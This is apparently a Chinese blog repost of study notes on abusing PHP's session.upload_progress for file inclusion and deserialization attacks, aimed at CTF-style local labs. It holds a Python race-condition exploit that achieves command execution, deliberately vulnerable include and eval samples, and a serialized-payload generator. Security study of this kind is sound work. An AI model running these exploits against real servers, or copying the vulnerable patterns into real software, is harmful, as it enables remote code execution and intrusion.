• session.upload_progress进行文件包含和反序列化学习


    目录

    前言:

    php中的session.upload_progress

    session相关配置及session 反序列化。

    利用session.upload_progress 进行文件包含利用。

    实例代码:

    分析:

    问题一:

    解答一:

    问题二:

    解答二:

    利用条件:

    利用session.upload_progress进行反序列化攻击

    示例代码

    分析:

    问题一:

    解答一:

    利用脚本:


    前言:

    转载一篇 好文章,写在这里,就当作自己的笔记啦。

    利用PHP中的session.upload_progress 功能作为跳板,从而进行文件包含和反序列化

    php中的session.upload_progress

    这个功能在php5.4以上能够利用。

    在 php.ini 有以下几个默认选项。

     1. session.upload_progress.enabled = on

    2. session.upload_progress.cleanup = on

    3. session.upload_progress.prefix = "upload_progress_"

    4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

    5. session.upload_progress.freq = "1%"

    6. session.upload_progress.min_freq = "1"

    只需要了解前四个配置:

    enabled=on 表示 upload_progress 功能开始,意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间)储存在session 中;

    cleanup= on 表示当文件上传结束后,php 将会立刻清空文件当中的内容。这选项很重要。

     name当他出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

    prefix + name 将表示为 session 中的键名 。

    session相关配置及session 反序列化。

    ------

    PHP中SESSION反序列化机制 | Spoock

    另外  session配置中还有一个重要选项。

    session.user_strict_mode = off 这个选项默认为off , 表示我们对 Cookie 中 sessionid 可控。这一点相关重要。

    利用session.upload_progress 进行文件包含利用。

    环境:

    php 7.3

    win10

    实例代码:

    1. $b=$_GET['file'];
    2. include "$b";
    3. ?>

    存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件,我们可以利用session.upload_progress将 恶意语句写入 session文件,从而包含session 文件。前提是要知道session 文件的存放位置。

    分析:

    问题一:

    代码里 没有session_start(),如何创建 session文件?

    解答一:

    其实,如果 session.auto_start=On,则php 在接收请求的时候会自动初始化session,不需要再执行session_start()。但默认情况下,这个选项是关闭的。

    但session还有一个默认选项,session.user_strict_mode(严格会话模式)默认值为0(关闭),此时用户是可以定义自己的 session ID 的。比如,我们在Cookie 中设置 PHPsessid = snowy 那么php将会在服务器创建一个文件:/tmp/sess_snowy .   即使用户没有初始化session,php也会自动初始化session 并产生一个键值,这个键值有 ini.get("session.upload_progress.prefix") + 由我们构造的seesion.upload_progress值组成,最后被写入sess_文件里。

    问题二:

    如果默认配置 session.upload_progress.cleanup = on 启用了文件上传后,session 文件内容立刻清空,  该 如何 RCE呢?

    解答二:

    此时可以使用条件竞争,在session 文件内容清空前进行包含利用:

    脚本:

    1. #coding=utf-8
    2. import io
    3. import requests
    4. import threading
    5. sessid = 'TGAO'
    6. data = {"cmd":"system('whoami');"}
    7. def write(session):
    8. while True:
    9. f = io.BytesIO(b'a' * 1024 * 50)
    10. resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
    11. def read(session):
    12. while True:
    13. resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
    14. if 'tgao.txt' in resp.text:
    15. print(resp.text)
    16. event.clear()
    17. else:
    18. print("[+++++++++++++]retry")
    19. if __name__=="__main__":
    20. event=threading.Event()
    21. with requests.session() as session:
    22. for i in xrange(1,30):
    23. threading.Thread(target=write,args=(session,)).start()
    24. for i in xrange(1,30):
    25. threading.Thread(target=read,args=(session,)).start()
    26. event.set()

    本地测试一下。

     直接给我环境跑炸了,,,,

    CTF题目

    1. error_reporting(0);
    2. $file = $_GET["file"];
    3. $payload = $_GET["payload"];
    4. if(!isset($file)){
    5. echo 'Missing parameter'.'
      '
      ;
    6. }
    7. if(preg_match("/flag/",$file)){
    8. die('hack attacked!!!');
    9. }
    10. @include($file);
    11. if(isset($payload)){
    12. $url = parse_url($_SERVER['REQUEST_URI']);
    13. parse_str($url['query'],$query);
    14. foreach($query as $value){
    15. if (preg_match("/flag/",$value)) {
    16. die('stop hacking!');
    17. exit();
    18. }
    19. }
    20. $payload = unserialize($payload);
    21. }else{
    22. echo "Missing parameters";
    23. }
    24. ?>

    在代码前几行可以看到,场景和前面的示例代码类似,只不过对变量$file加了过滤,不过没什么影响。

    利用思路一样,这里就不再说了,网上也有相应的解法。

    利用条件:

    1. 存在文件包含漏洞

    2. 知道session文件存放路径,可以尝试默认路径

    3. 具有读取和写入session文件的权限

    利用session.upload_progress进行反序列化攻击

    示例代码

    1. error_reporting(0);
    2. date_default_timezone_set("Asia/Shanghai");
    3. ini_set('session.serialize_handler','php');
    4. session_start();
    5. class Door{
    6. public $handle;
    7. function __construct() {
    8. $this->handle=new TimeNow();
    9. }
    10. function __destruct() {
    11. $this->handle->action();
    12. }
    13. }
    14. class TimeNow {
    15. function action() {
    16. echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
    17. }
    18. }
    19. class IP{
    20. public $ip;
    21. function __construct() {
    22. $this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
    23. }
    24. function action() {
    25. eval($this->ip);
    26. }
    27. }
    28. ?>

    分析:

    问题一:

    整个代码没有参数可控的地方,该通过什么方法来进行反序列化利用呢?

    解答一:

    这里,利用PHP_SESSION_UPLOAD_PROGRESS 上传文件,其中利用文件名可控,从而构造恶意序列化语句,写入session文件。

    另外,与文件包含利用一样,需要竞争

    利用脚本:

    1. ini_set('session.serialize_handler', 'php_serialize');
    2. session_start();
    3. class Door{
    4. public $handle;
    5. function __construct() {
    6. $this->handle = new IP();
    7. }
    8. function __destruct() {
    9. $this->handle->action();
    10. }
    11. }
    12. class TimeNow {
    13. function action() {
    14. echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
    15. }
    16. }
    17. class IP{
    18. public $ip;
    19. function __construct() {
    20. //$this->ip='payload';
    21. $this->ip='phpinfo();';
    22. //$this->ip='print_r(scandir('/'));';
    23. }
    24. function action() {
    25. eval($this->ip);
    26. }
    27. }
    28. $a=new Door();
    29. $b=serialize($a);
    30. $c=addslashes($b);
    31. $d=str_replace("O:4:","|O:4:",$c);
    32. echo $d;
    33. ?>

    这里 不细说了 想要了解的 看下这篇文章:

    PHP中SESSION反序列化机制 | Spoock

  • 相关阅读:
    linux设备驱动模型
    LFMCW雷达测速基础- 多普勒频移和2DFFT
    厦门大学马来西亚分校打造更美好的智慧校园
    java: 读取snakeyaml-1.26.jar各种jar包时出错; error in opening zip file
    精品基于Uniapp+SSM实现的Android的校园新闻管理系统实现的App
    Kotlin 实现自定义下拉阴影弹窗的功能
    Python预测2022世界杯1/8决赛胜负
    AMD(锐龙)处理器解决安装 AndroidStudio 虚拟机失败问题
    【抓包分析】通过ChatGPT解密还原某软件登录算法实现绕过手机验证码登录
    测试一下Pinia,Vuex 要出局了?
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126739376